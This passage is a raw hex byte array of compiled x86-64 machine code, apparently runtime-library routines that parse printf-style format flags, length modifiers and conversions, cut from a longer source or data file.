0x75, 0xef, 0x0f, 0xb6, 0x41, - 0xff, 0x4c, 0x8b, 0xc1, 0x48, 0xff, 0xc9, 0x3c, 0x30, 0x75, 0x0b, 0x0f, - 0xb6, 0x41, 0xff, 0x48, 0xff, 0xc9, 0x3c, 0x30, 0x74, 0xf5, 0x41, 0x3a, - 0xc1, 0x48, 0x8d, 0x51, 0xff, 0x48, 0x0f, 0x45, 0xd1, 0x0f, 0x1f, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x41, 0x0f, 0xb6, 0x00, 0x48, 0x8d, 0x52, 0x01, - 0x88, 0x02, 0x4d, 0x8d, 0x40, 0x01, 0x84, 0xc0, 0x75, 0xee, 0xc3, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0x4c, 0x8b, 0x0a, 0x44, 0x0f, 0xb6, 0x01, 0x49, 0x8b, 0x91, 0x10, 0x01, - 0x00, 0x00, 0x41, 0x80, 0x3c, 0x10, 0x65, 0x74, 0x1a, 0x49, 0x8b, 0x01, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0x41, - 0x01, 0x48, 0xff, 0xc1, 0x42, 0xf6, 0x04, 0x40, 0x04, 0x75, 0xf1, 0x41, - 0x0f, 0xb6, 0xc0, 0x80, 0x3c, 0x10, 0x78, 0x75, 0x05, 0x44, 0x0f, 0xb6, - 0x41, 0x02, 0x49, 0x8b, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x51, - 0x02, 0x48, 0x0f, 0x45, 0xd1, 0x48, 0x8b, 0x08, 0x0f, 0xb6, 0x01, 0x88, - 0x02, 0x48, 0x8d, 0x42, 0x01, 0x0f, 0x1f, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x0f, 0xb6, 0x08, 0x41, 0x0f, 0xb6, 0xd0, 0x44, 0x88, 0x00, 0x48, 0x8d, - 0x40, 0x01, 0x44, 0x0f, 0xb6, 0xc1, 0x84, 0xd2, 0x75, 0xea, 0xc3, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, - 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x59, 0x10, 0x4c, 0x8b, - 0xf2, 0x48, 0x8b, 0xf9, 0x48, 0x85, 0xdb, 0x75, 0x0c, 0xe8, 0x8e, 0x2c, - 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x89, 0x47, 0x10, 0x8b, 0x2b, 0x48, - 0x8d, 0x54, 0x24, 0x40, 0x83, 0x23, 0x00, 0xbe, 0x01, 0x00, 0x00, 0x00, - 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x2b, - 0xce, 0x44, 0x8d, 0x46, 0x09, 0xe8, 0x22, 0x2d, 0x00, 0x00, 0x41, 0x89, - 0x06, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x85, 0xc0, 0x75, 0x09, 0xe8, 0x51, - 0x2c, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x83, 0x38, 0x22, 0x74, 0x11, - 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x3b, 0x47, 0x18, 0x72, 0x06, 0x48, - 0x89, 0x47, 0x18, 0xeb, 0x03, 0x40, 0x32, 0xf6, 0x83, 0x3b, 0x00, 0x75, - 0x06, 0x85, 0xed, 0x74, 0x02, 0x89, 0x2b, 0x48, 0x8b, 0x5c, 0x24, 0x48, - 0x40, 0x8a, 0xc6, 0x48, 0x8b, 0x6c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x7c, 0x24, 0x10, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, - 0x83, 0xcf, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xb9, 0x68, 0x04, 0x00, - 0x00, 0x00, 0x0f, 0x84, 0xcf, 0x01, 0x00, 0x00, 0x48, 0x83, 0x79, 0x18, - 0x00, 0x75, 0x17, 0xe8, 0xe0, 0x2b, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0xb5, 0x2a, 0x00, 0x00, 0x0b, 0xc7, 0xe9, 0xa0, 0x01, - 0x00, 0x00, 0xff, 0x81, 0x70, 0x04, 0x00, 0x00, 0x83, 0xb9, 0x70, 0x04, - 0x00, 0x00, 0x02, 0x0f, 0x84, 0x8a, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x35, - 0xd8, 0xf0, 0x00, 0x00, 0x83, 0x63, 0x50, 0x00, 0x83, 0x63, 0x2c, 0x00, - 0xe9, 0x4e, 0x01, 0x00, 0x00, 0x48, 0xff, 0x43, 0x18, 0x83, 0x7b, 0x28, - 0x00, 0x0f, 0x8c, 0x55, 0x01, 0x00, 0x00, 0x48, 0x0f, 0xbe, 0x53, 0x41, - 0x8d, 0x42, 0xe0, 0x3c, 0x5a, 0x77, 0x0e, 0x48, 0x8d, 0x42, 0xe0, 0x83, - 0xe0, 0x7f, 0x41, 0x8b, 0x4c, 0xc6, 0x04, 0xeb, 0x02, 0x33, 0xc9, 0x8b, - 0x43, 0x2c, 0x8d, 0x0c, 0xc8, 0x83, 0xe1, 0x7f, 0x41, 0x8b, 0x04, 0xce, - 0x89, 0x43, 0x2c, 0x83, 0xf8, 0x08, 0x0f, 0x84, 0x47, 0x01, 0x00, 0x00, - 0x85, 0xc0, 0x0f, 0x84, 0xf7, 0x00, 0x00, 0x00, 0x83, 0xe8, 0x01, 0x0f, - 0x84, 0xd5, 0x00, 0x00, 0x00, 0x83, 0xe8, 0x01, 0x0f, 0x84, 0x97, 0x00, - 0x00, 0x00, 0x83, 0xe8, 0x01, 0x74, 0x67, 0x83, 0xe8, 0x01, 0x74, 0x59, - 0x83, 0xe8, 0x01, 0x74, 0x28, 0x83, 0xe8, 0x01, 0x74, 0x16, 0x83, 0xf8, - 0x01, 0x0f, 0x85, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa9, - 0x03, 0x00, 0x00, 0xe9, 0xc3, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, - 0x2c, 0x02, 0x00, 0x00, 0xe9, 0xb6, 0x00, 0x00, 0x00, 0x80, 0xfa, 0x2a, - 0x74, 0x11, 0x48, 0x8d, 0x53, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0x4e, 0xfe, - 0xff, 0xff, 0xe9, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x83, 0x43, 0x20, 0x08, - 0x48, 0x8b, 0x43, 0x20, 0x8b, 0x48, 0xf8, 0x85, 0xc9, 0x0f, 0x48, 0xcf, - 0x89, 0x4b, 0x38, 0xeb, 0x30, 0x83, 0x63, 0x38, 0x00, 0xe9, 0x85, 0x00, - 0x00, 0x00, 0x80, 0xfa, 0x2a, 0x74, 0x06, 0x48, 0x8d, 0x53, 0x34, 0xeb, - 0xc9, 0x48, 0x83, 0x43, 0x20, 0x08, 0x48, 0x8b, 0x43, 0x20, 0x8b, 0x48, - 0xf8, 0x89, 0x4b, 0x34, 0x85, 0xc9, 0x79, 0x09, 0x83, 0x4b, 0x30, 0x04, - 0xf7, 0xd9, 0x89, 0x4b, 0x34, 0xb0, 0x01, 0xeb, 0x56, 0x8a, 0xc2, 0x80, - 0xfa, 0x20, 0x74, 0x28, 0x3c, 0x23, 0x74, 0x1e, 0x3c, 0x2b, 0x74, 0x14, - 0x3c, 0x2d, 0x74, 0x0a, 0x3c, 0x30, 0x75, 0x43, 0x83, 0x4b, 0x30, 0x08, - 0xeb, 0x3d, 0x83, 0x4b, 0x30, 0x04, 0xeb, 0x37, 0x83, 0x4b, 0x30, 0x01, - 0xeb, 0x31, 0x83, 0x4b, 0x30, 0x20, 0xeb, 0x2b, 0x83, 0x4b, 0x30, 0x02, - 0xeb, 0x25, 0x83, 0x63, 0x34, 0x00, 0x83, 0x63, 0x30, 0x00, 0x83, 0x63, - 0x3c, 0x00, 0xc6, 0x43, 0x40, 0x00, 0x89, 0x7b, 0x38, 0xc6, 0x43, 0x54, - 0x00, 0xeb, 0x0c, 0x48, 0x8b, 0xcb, 0xe8, 0x55, 0x00, 0x00, 0x00, 0x84, - 0xc0, 0x74, 0x4c, 0x48, 0x8b, 0x43, 0x18, 0x8a, 0x08, 0x88, 0x4b, 0x41, - 0x84, 0xc9, 0x0f, 0x85, 0xa1, 0xfe, 0xff, 0xff, 0x48, 0xff, 0x43, 0x18, - 0xff, 0x83, 0x70, 0x04, 0x00, 0x00, 0x83, 0xbb, 0x70, 0x04, 0x00, 0x00, - 0x02, 0x0f, 0x85, 0x7d, 0xfe, 0xff, 0xff, 0x8b, 0x43, 0x28, 0x48, 0x8b, - 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x7c, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, - 0x41, 0x5e, 0xc3, 0xe8, 0x18, 0x2a, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0xed, 0x28, 0x00, 0x00, 0x8b, 0xc7, 0xeb, 0xdb, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x33, 0xd2, 0x48, 0x8b, 0xd9, 0xe8, - 0x64, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x48, 0x48, 0x8b, 0x8b, 0x68, - 0x04, 0x00, 0x00, 0x44, 0x8a, 0x43, 0x41, 0x48, 0x8b, 0x41, 0x08, 0x48, - 0x39, 0x41, 0x10, 0x75, 0x11, 0x80, 0x79, 0x18, 0x00, 0x74, 0x05, 0xff, - 0x43, 0x28, 0xeb, 0x24, 0x83, 0x4b, 0x28, 0xff, 0xeb, 0x1e, 0xff, 0x43, - 0x28, 0x48, 0xff, 0x41, 0x10, 0x48, 0x8b, 0x8b, 0x68, 0x04, 0x00, 0x00, - 0x48, 0x8b, 0x11, 0x44, 0x88, 0x02, 0x48, 0x8b, 0x8b, 0x68, 0x04, 0x00, - 0x00, 0x48, 0xff, 0x01, 0xb0, 0x01, 0xeb, 0x12, 0xe8, 0xa7, 0x29, 0x00, - 0x00, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x7c, 0x28, 0x00, 0x00, - 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0x4c, 0x0f, 0xbe, 0x49, 0x41, 0x4c, 0x8b, 0xc1, 0xc6, 0x41, 0x54, 0x00, - 0x41, 0x83, 0xf9, 0xff, 0x7c, 0x17, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x8b, - 0x00, 0x48, 0x8b, 0x00, 0x42, 0x0f, 0xb7, 0x0c, 0x48, 0x81, 0xe1, 0x00, - 0x80, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc9, 0x85, 0xc9, 0x74, 0x6c, 0x49, - 0x8b, 0x88, 0x68, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x48, 0x39, - 0x41, 0x10, 0x75, 0x13, 0x80, 0x79, 0x18, 0x00, 0x74, 0x06, 0x41, 0xff, - 0x40, 0x28, 0xeb, 0x26, 0x41, 0x83, 0x48, 0x28, 0xff, 0xeb, 0x1f, 0x41, - 0xff, 0x40, 0x28, 0x48, 0xff, 0x41, 0x10, 0x49, 0x8b, 0x80, 0x68, 0x04, - 0x00, 0x00, 0x48, 0x8b, 0x08, 0x44, 0x88, 0x09, 0x49, 0x8b, 0x80, 0x68, - 0x04, 0x00, 0x00, 0x48, 0xff, 0x00, 0x49, 0x8b, 0x40, 0x18, 0x8a, 0x08, - 0x48, 0xff, 0xc0, 0x41, 0x88, 0x48, 0x41, 0x49, 0x89, 0x40, 0x18, 0x84, - 0xc9, 0x75, 0x14, 0xe8, 0x04, 0x29, 0x00, 0x00, 0xc7, 0x00, 0x16, 0x00, - 0x00, 0x00, 0xe8, 0xd9, 0x27, 0x00, 0x00, 0x32, 0xc0, 0xeb, 0x02, 0xb0, - 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x8a, 0x41, 0x41, 0x3c, 0x46, 0x75, 0x19, 0xf6, 0x01, 0x08, 0x0f, 0x85, - 0x52, 0x01, 0x00, 0x00, 0xc7, 0x41, 0x2c, 0x07, 0x00, 0x00, 0x00, 0x48, - 0x83, 0xc4, 0x28, 0xe9, 0x4c, 0x01, 0x00, 0x00, 0x3c, 0x4e, 0x75, 0x27, - 0xf6, 0x01, 0x08, 0x0f, 0x85, 0x35, 0x01, 0x00, 0x00, 0xc7, 0x41, 0x2c, - 0x08, 0x00, 0x00, 0x00, 0xe8, 0xaf, 0x28, 0x00, 0x00, 0xc7, 0x00, 0x16, - 0x00, 0x00, 0x00, 0xe8, 0x84, 0x27, 0x00, 0x00, 0x32, 0xc0, 0xe9, 0x19, - 0x01, 0x00, 0x00, 0x83, 0x79, 0x3c, 0x00, 0x75, 0xe3, 0x3c, 0x49, 0x0f, - 0x84, 0xb0, 0x00, 0x00, 0x00, 0x3c, 0x4c, 0x0f, 0x84, 0x9f, 0x00, 0x00, - 0x00, 0x3c, 0x54, 0x0f, 0x84, 0x8e, 0x00, 0x00, 0x00, 0x3c, 0x68, 0x74, - 0x6c, 0x3c, 0x6a, 0x74, 0x5c, 0x3c, 0x6c, 0x74, 0x34, 0x3c, 0x74, 0x74, - 0x24, 0x3c, 0x77, 0x74, 0x14, 0x3c, 0x7a, 0x0f, 0x85, 0xdd, 0x00, 0x00, - 0x00, 0xc7, 0x41, 0x3c, 0x06, 0x00, 0x00, 0x00, 0xe9, 0xd1, 0x00, 0x00, - 0x00, 0xc7, 0x41, 0x3c, 0x0c, 0x00, 0x00, 0x00, 0xe9, 0xc5, 0x00, 0x00, - 0x00, 0xc7, 0x41, 0x3c, 0x07, 0x00, 0x00, 0x00, 0xe9, 0xb9, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x41, 0x18, 0x80, 0x38, 0x6c, 0x75, 0x0e, 0x48, 0xff, - 0xc0, 0x48, 0x89, 0x41, 0x18, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x05, - 0xb8, 0x03, 0x00, 0x00, 0x00, 0x89, 0x41, 0x3c, 0xe9, 0x95, 0x00, 0x00, - 0x00, 0xc7, 0x41, 0x3c, 0x05, 0x00, 0x00, 0x00, 0xe9, 0x89, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x41, 0x18, 0x80, 0x38, 0x68, 0x75, 0x0e, 0x48, 0xff, - 0xc0, 0x48, 0x89, 0x41, 0x18, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xd5, - 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0xce, 0xc7, 0x41, 0x3c, 0x0d, 0x00, - 0x00, 0x00, 0xeb, 0x62, 0xc7, 0x41, 0x3c, 0x08, 0x00, 0x00, 0x00, 0xeb, - 0x59, 0x48, 0x8b, 0x51, 0x18, 0x8a, 0x02, 0x3c, 0x33, 0x75, 0x17, 0x80, - 0x7a, 0x01, 0x32, 0x75, 0x11, 0x48, 0x8d, 0x42, 0x02, 0xc7, 0x41, 0x3c, - 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0xeb, 0x38, 0x3c, 0x36, - 0x75, 0x17, 0x80, 0x7a, 0x01, 0x34, 0x75, 0x11, 0x48, 0x8d, 0x42, 0x02, - 0xc7, 0x41, 0x3c, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x89, 0x41, 0x18, 0xeb, - 0x1d, 0x2c, 0x58, 0x3c, 0x20, 0x77, 0x17, 0x48, 0xba, 0x01, 0x10, 0x82, - 0x20, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0f, 0xa3, 0xc2, 0x73, 0x07, 0xc7, - 0x41, 0x3c, 0x09, 0x00, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, - 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x83, 0xec, 0x30, 0x8a, 0x41, 0x41, 0x48, 0x8b, 0xd9, 0x41, 0xbf, - 0x01, 0x00, 0x00, 0x00, 0x40, 0xb6, 0x78, 0x40, 0xb5, 0x58, 0x41, 0xb6, - 0x41, 0x3c, 0x64, 0x7f, 0x56, 0x0f, 0x84, 0xbc, 0x00, 0x00, 0x00, 0x41, - 0x3a, 0xc6, 0x0f, 0x84, 0xc6, 0x00, 0x00, 0x00, 0x3c, 0x43, 0x74, 0x2d, - 0x3c, 0x44, 0x0f, 0x8e, 0xc3, 0x00, 0x00, 0x00, 0x3c, 0x47, 0x0f, 0x8e, - 0xb2, 0x00, 0x00, 0x00, 0x3c, 0x53, 0x74, 0x57, 0x40, 0x3a, 0xc5, 0x74, - 0x67, 0x3c, 0x5a, 0x74, 0x1c, 0x3c, 0x61, 0x0f, 0x84, 0x9d, 0x00, 0x00, - 0x00, 0x3c, 0x63, 0x0f, 0x85, 0x9e, 0x00, 0x00, 0x00, 0x33, 0xd2, 0xe8, - 0x90, 0x04, 0x00, 0x00, 0xe9, 0x8e, 0x00, 0x00, 0x00, 0xe8, 0x56, 0x02, - 0x00, 0x00, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x3c, 0x67, 0x7e, 0x7b, 0x3c, - 0x69, 0x74, 0x64, 0x3c, 0x6e, 0x74, 0x59, 0x3c, 0x6f, 0x74, 0x37, 0x3c, - 0x70, 0x74, 0x1b, 0x3c, 0x73, 0x74, 0x10, 0x3c, 0x75, 0x74, 0x54, 0x40, - 0x3a, 0xc6, 0x75, 0x67, 0xba, 0x10, 0x00, 0x00, 0x00, 0xeb, 0x4d, 0xe8, - 0x24, 0x07, 0x00, 0x00, 0xeb, 0x55, 0xc7, 0x41, 0x38, 0x10, 0x00, 0x00, - 0x00, 0xc7, 0x41, 0x3c, 0x0b, 0x00, 0x00, 0x00, 0x45, 0x8a, 0xc7, 0xba, - 0x10, 0x00, 0x00, 0x00, 0xeb, 0x31, 0x8b, 0x49, 0x30, 0x8b, 0xc1, 0xc1, - 0xe8, 0x05, 0x41, 0x84, 0xc7, 0x74, 0x07, 0x0f, 0xba, 0xe9, 0x07, 0x89, - 0x4b, 0x30, 0xba, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xeb, 0x10, - 0xe8, 0x5f, 0x06, 0x00, 0x00, 0xeb, 0x18, 0x83, 0x49, 0x30, 0x10, 0xba, - 0x0a, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0xe8, 0xcc, 0x04, 0x00, 0x00, - 0xeb, 0x05, 0xe8, 0x41, 0x02, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x07, 0x32, - 0xc0, 0xe9, 0x37, 0x01, 0x00, 0x00, 0x80, 0x7b, 0x40, 0x00, 0x0f, 0x85, - 0x2a, 0x01, 0x00, 0x00, 0x8b, 0x53, 0x30, 0x33, 0xc0, 0x66, 0x89, 0x44, - 0x24, 0x50, 0x33, 0xff, 0x88, 0x44, 0x24, 0x52, 0x8b, 0xc2, 0xc1, 0xe8, - 0x04, 0x41, 0x84, 0xc7, 0x74, 0x2e, 0x8b, 0xc2, 0xc1, 0xe8, 0x06, 0x41, - 0x84, 0xc7, 0x74, 0x07, 0xc6, 0x44, 0x24, 0x50, 0x2d, 0xeb, 0x1a, 0x41, - 0x84, 0xd7, 0x74, 0x07, 0xc6, 0x44, 0x24, 0x50, 0x2b, 0xeb, 0x0e, 0x8b, - 0xc2, 0xd1, 0xe8, 0x41, 0x84, 0xc7, 0x74, 0x08, 0xc6, 0x44, 0x24, 0x50, - 0x20, 0x49, 0x8b, 0xff, 0x8a, 0x4b, 0x41, 0x8a, 0xc1, 0x40, 0x2a, 0xc5, - 0xa8, 0xdf, 0x75, 0x0f, 0x8b, 0xc2, 0xc1, 0xe8, 0x05, 0x41, 0x84, 0xc7, - 0x74, 0x05, 0x45, 0x8a, 0xc7, 0xeb, 0x03, 0x45, 0x32, 0xc0, 0x8a, 0xc1, - 0x41, 0x2a, 0xc6, 0xa8, 0xdf, 0x0f, 0x94, 0xc0, 0x45, 0x84, 0xc0, 0x75, - 0x04, 0x84, 0xc0, 0x74, 0x1b, 0xc6, 0x44, 0x3c, 0x50, 0x30, 0x40, 0x3a, - 0xcd, 0x74, 0x05, 0x41, 0x3a, 0xce, 0x75, 0x03, 0x40, 0x8a, 0xf5, 0x40, - 0x88, 0x74, 0x3c, 0x51, 0x48, 0x83, 0xc7, 0x02, 0x8b, 0x73, 0x34, 0x48, - 0x8d, 0x6b, 0x28, 0x2b, 0x73, 0x50, 0x4c, 0x8d, 0xb3, 0x68, 0x04, 0x00, - 0x00, 0x2b, 0xf7, 0xf6, 0xc2, 0x0c, 0x75, 0x10, 0x4c, 0x8b, 0xcd, 0x44, - 0x8b, 0xc6, 0xb2, 0x20, 0x49, 0x8b, 0xce, 0xe8, 0xb4, 0xf6, 0xff, 0xff, - 0x48, 0x8d, 0x43, 0x10, 0x4c, 0x8b, 0xcd, 0x44, 0x8b, 0xc7, 0x48, 0x89, - 0x44, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x49, 0x8b, 0xce, 0xe8, - 0x54, 0x07, 0x00, 0x00, 0x8b, 0x4b, 0x30, 0x8b, 0xc1, 0xc1, 0xe8, 0x03, - 0x41, 0x84, 0xc7, 0x74, 0x18, 0xc1, 0xe9, 0x02, 0x41, 0x84, 0xcf, 0x75, - 0x10, 0x4c, 0x8b, 0xcd, 0x44, 0x8b, 0xc6, 0xb2, 0x30, 0x49, 0x8b, 0xce, - 0xe8, 0x73, 0xf6, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x49, - 0x06, 0x00, 0x00, 0x83, 0x7d, 0x00, 0x00, 0x7c, 0x1d, 0x44, 0x8b, 0x53, - 0x30, 0x41, 0xc1, 0xea, 0x02, 0x45, 0x84, 0xd7, 0x74, 0x10, 0x4c, 0x8b, - 0xcd, 0x44, 0x8b, 0xc6, 0xb2, 0x20, 0x49, 0x8b, 0xce, 0xe8, 0x46, 0xf6, - 0xff, 0xff, 0x41, 0x8a, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, - 0x6c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x30, - 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0x83, 0xf9, 0x0b, 0x77, 0x2e, 0x48, 0x63, 0xc1, - 0x48, 0x8d, 0x15, 0x51, 0xb7, 0xff, 0xff, 0x8b, 0x8c, 0x82, 0xd8, 0x48, - 0x00, 0x00, 0x48, 0x03, 0xca, 0xff, 0xe1, 0xb8, 0x01, 0x00, 0x00, 0x00, - 0xc3, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xc3, 0xb8, 0x04, 0x00, 0x00, 0x00, - 0xc3, 0xb8, 0x08, 0x00, 0x00, 0x00, 0xc3, 0x33, 0xc0, 0xc3, 0x66, 0x90, - 0xc7, 0x48, 0x00, 0x00, 0xbb, 0x48, 0x00, 0x00, 0xc1, 0x48, 0x00, 0x00, - 0xc7, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, - 0xcd, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, 0xd3, 0x48, 0x00, 0x00, - 0xcd, 0x48, 0x00, 0x00, 0xc7, 0x48, 0x00, 0x00, 0xcd, 0x48, 0x00, 0x00, - 0x48, 0x83, 0x41, 0x20, 0x08, 0x48, 0x8b, 0x41, 0x20, 0x4c, 0x8b, 0x40, - 0xf8, 0x4d, 0x85, 0xc0, 0x74, 0x47, 0x4d, 0x8b, 0x48, 0x08, 0x4d, 0x85, - 0xc9, 0x74, 0x3e, 0x8b, 0x51, 0x3c, 0x83, 0xea, 0x02, 0x74, 0x20, 0x83, - 0xea, 0x01, 0x74, 0x17, 0x83, 0xfa, 0x09, 0x74, 0x12, 0x83, 0x79, 0x3c, - 0x0d, 0x74, 0x10, 0x8a, 0x41, 0x41, 0x2c, 0x63, 0xa8, 0xef, 0x0f, 0x95, - 0xc2, 0xeb, 0x06, 0xb2, 0x01, 0xeb, 0x02, 0x32, 0xd2, 0x4c, 0x89, 0x49, - 0x48, 0x41, 0x0f, 0xb7, 0x00, 0x84, 0xd2, 0x74, 0x18, 0xc6, 0x41, 0x54, - 0x01, 0xd1, 0xe8, 0xeb, 0x14, 0x48, 0x8d, 0x15, 0x78, 0xed, 0x00, 0x00, - 0xb8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0x51, 0x48, 0xc6, 0x41, 0x54, - 0x00, 0x89, 0x41, 0x50, 0xb0, 0x01, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x10, 0x57, 0x48, 0x83, 0xec, 0x50, 0x83, 0x49, 0x30, 0x10, 0x48, 0x8b, - 0xd9, 0x8b, 0x41, 0x38, 0x85, 0xc0, 0x79, 0x16, 0x8a, 0x41, 0x41, 0x2c, - 0x41, 0x24, 0xdf, 0xf6, 0xd8, 0x1b, 0xc0, 0x83, 0xe0, 0xf9, 0x83, 0xc0, - 0x0d, 0x89, 0x41, 0x38, 0xeb, 0x1c, 0x75, 0x1a, 0x80, 0x79, 0x41, 0x67, - 0x74, 0x08, 0x33, 0xc0, 0x80, 0x79, 0x41, 0x47, 0x75, 0x0c, 0xc7, 0x41, - 0x38, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, - 0x79, 0x58, 0x05, 0x5d, 0x01, 0x00, 0x00, 0x48, 0x63, 0xd0, 0x48, 0x8b, - 0xcf, 0xe8, 0x26, 0xf3, 0xff, 0xff, 0x41, 0xb8, 0x00, 0x02, 0x00, 0x00, - 0x84, 0xc0, 0x75, 0x21, 0x48, 0x83, 0xbb, 0x60, 0x04, 0x00, 0x00, 0x00, - 0x75, 0x05, 0x41, 0x8b, 0xc0, 0xeb, 0x0a, 0x48, 0x8b, 0x83, 0x58, 0x04, - 0x00, 0x00, 0x48, 0xd1, 0xe8, 0x05, 0xa3, 0xfe, 0xff, 0xff, 0x89, 0x43, - 0x38, 0x48, 0x8b, 0x87, 0x08, 0x04, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x48, - 0x0f, 0x44, 0xc7, 0x48, 0x89, 0x43, 0x48, 0x48, 0x83, 0x43, 0x20, 0x08, - 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8b, 0x8b, 0x60, 0x04, 0x00, 0x00, 0xf2, - 0x0f, 0x10, 0x40, 0xf8, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x60, 0x48, 0x85, - 0xc9, 0x75, 0x05, 0x49, 0x8b, 0xd0, 0xeb, 0x0a, 0x48, 0x8b, 0x93, 0x58, - 0x04, 0x00, 0x00, 0x48, 0xd1, 0xea, 0x48, 0x85, 0xc9, 0x75, 0x09, 0x4c, - 0x8d, 0x8b, 0x58, 0x02, 0x00, 0x00, 0xeb, 0x1a, 0x4c, 0x8b, 0x8b, 0x58, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x4c, 0x8b, 0x83, 0x58, 0x04, 0x00, - 0x00, 0x49, 0xd1, 0xe9, 0x4c, 0x03, 0xc9, 0x49, 0xd1, 0xe8, 0x48, 0x8b, - 0x43, 0x08, 0x0f, 0xbe, 0x4b, 0x41, 0xc7, 0x44, 0x24, 0x48, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0x03, 0x48, 0x89, - 0x44, 0x24, 0x38, 0x8b, 0x43, 0x38, 0x89, 0x44, 0x24, 0x30, 0x89, 0x4c, - 0x24, 0x28, 0x48, 0x8d, 0x4c, 0x24, 0x60, 0x48, 0x89, 0x54, 0x24, 0x20, - 0x48, 0x8b, 0xd7, 0xe8, 0xb0, 0x34, 0x00, 0x00, 0x8b, 0x43, 0x30, 0xc1, - 0xe8, 0x05, 0xa8, 0x01, 0x74, 0x13, 0x83, 0x7b, 0x38, 0x00, 0x75, 0x0d, - 0x48, 0x8b, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x48, 0xe8, 0xbb, 0xf5, 0xff, - 0xff, 0x8a, 0x43, 0x41, 0x2c, 0x47, 0xa8, 0xdf, 0x75, 0x17, 0x8b, 0x43, - 0x30, 0xc1, 0xe8, 0x05, 0xa8, 0x01, 0x75, 0x0d, 0x48, 0x8b, 0x53, 0x08, - 0x48, 0x8b, 0x4b, 0x48, 0xe8, 0xfb, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x4b, - 0x48, 0x8a, 0x01, 0x3c, 0x2d, 0x75, 0x0d, 0x83, 0x4b, 0x30, 0x40, 0x48, - 0xff, 0xc1, 0x48, 0x89, 0x4b, 0x48, 0x8a, 0x01, 